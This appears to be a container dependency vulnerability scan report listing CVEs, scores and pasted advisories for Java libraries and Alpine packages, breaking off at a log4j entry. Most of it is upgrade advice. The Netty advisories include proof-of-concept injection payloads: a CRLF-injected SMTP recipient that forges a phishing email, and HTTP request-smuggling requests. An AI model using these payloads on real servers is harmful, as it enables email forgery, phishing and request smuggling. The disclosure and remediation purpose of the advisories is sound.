EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.124.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.140%
EPSS Percentile35th percentile
+ +
Description +
